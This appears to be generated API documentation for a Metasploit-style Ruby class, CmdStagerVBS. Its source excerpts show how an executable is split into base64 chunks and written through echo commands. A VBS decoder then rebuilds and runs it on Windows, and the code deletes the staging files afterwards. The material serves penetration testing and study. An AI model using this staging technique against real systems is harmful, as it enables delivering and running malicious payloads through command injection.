Class: Rex::Exploitation::CmdStagerVBS

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/vbs.rb

Overview

This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.

This particular version uses Windows Scripting (VBS) to base64 decode a file, created via echo >>, and decode it to the final binary.

Requires: Windows Scripting Known Issue: errors with non-ascii-native systems

Written by bannedit

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#generate, #generate_cmds_payload, #slice_up_payload

Constructor Details

#initialize(exe) ⇒ CmdStagerVBS

Returns a new instance of CmdStagerVBS


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# File 'lib/rex/exploitation/cmdstager/vbs.rb', line 28

def initialize(exe)
  super

  @var_decoder = Rex::Text.rand_text_alpha(5)
  @var_encoded = Rex::Text.rand_text_alpha(5)
  @var_decoded = Rex::Text.rand_text_alpha(5)
  @decoder     = nil # filled in later
end

Instance Method Details

#cmd_concat_operatorObject

Windows uses & to concat strings


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# File 'lib/rex/exploitation/cmdstager/vbs.rb', line 120

def cmd_concat_operator
  " & "
end

#compress_commands(cmds, opts) ⇒ Object

We override compress commands just to stick in a few extra commands last second..


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# File 'lib/rex/exploitation/cmdstager/vbs.rb', line 105

def compress_commands(cmds, opts)
  # Make it all happen
  cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"

  # Clean up after unless requested not to..
  if (not opts[:nodelete])
    cmds << "del #{@tempdir}#{@var_decoder}.vbs"
    cmds << "del #{@tempdir}#{@var_encoded}.b64"
    # NOTE: We won't be able to delete the exe while it's in use.
  end

  super
end

#encode_payload(opts) ⇒ Object

Simple base64…


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# File 'lib/rex/exploitation/cmdstager/vbs.rb', line 54

def encode_payload(opts)
  Rex::Text.encode_base64(@exe)
end

#generate_cmds(opts) ⇒ Object

Override just to set the extra byte count


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# File 'lib/rex/exploitation/cmdstager/vbs.rb', line 41

def generate_cmds(opts)
  # Set the start/end of the commands here (vs initialize) so we have @tempdir
  @cmd_start = "echo "
  @cmd_end   = ">>#{@tempdir}#{@var_encoded}.b64"
  xtra_len = @cmd_start.length + @cmd_end.length + 1
  opts.merge!({ :extra => xtra_len })
  super
end

#generate_cmds_decoder(opts) ⇒ Object

Generate the commands that will decode the file we just created


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# File 'lib/rex/exploitation/cmdstager/vbs.rb', line 81

def generate_cmds_decoder(opts)

  # Allow decoder stub override (needs to input base64 and output bin)
  @decoder = opts[:decoder] if (opts[:decoder])

  # Read the decoder data file
  f = File.new(@decoder, "rb")
  decoder = f.read(f.stat.size)
  f.close

  # Replace variables
  decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
  decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
  decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")

  # Split it apart by the lines
  decoder.split("\n")
end

#parts_to_commands(parts, opts) ⇒ Object

Combine the parts of the encoded file with the stuff that goes before / after it.


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# File 'lib/rex/exploitation/cmdstager/vbs.rb', line 63

def parts_to_commands(parts, opts)

  cmds = []
  parts.each do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmds << cmd
  end

  cmds
end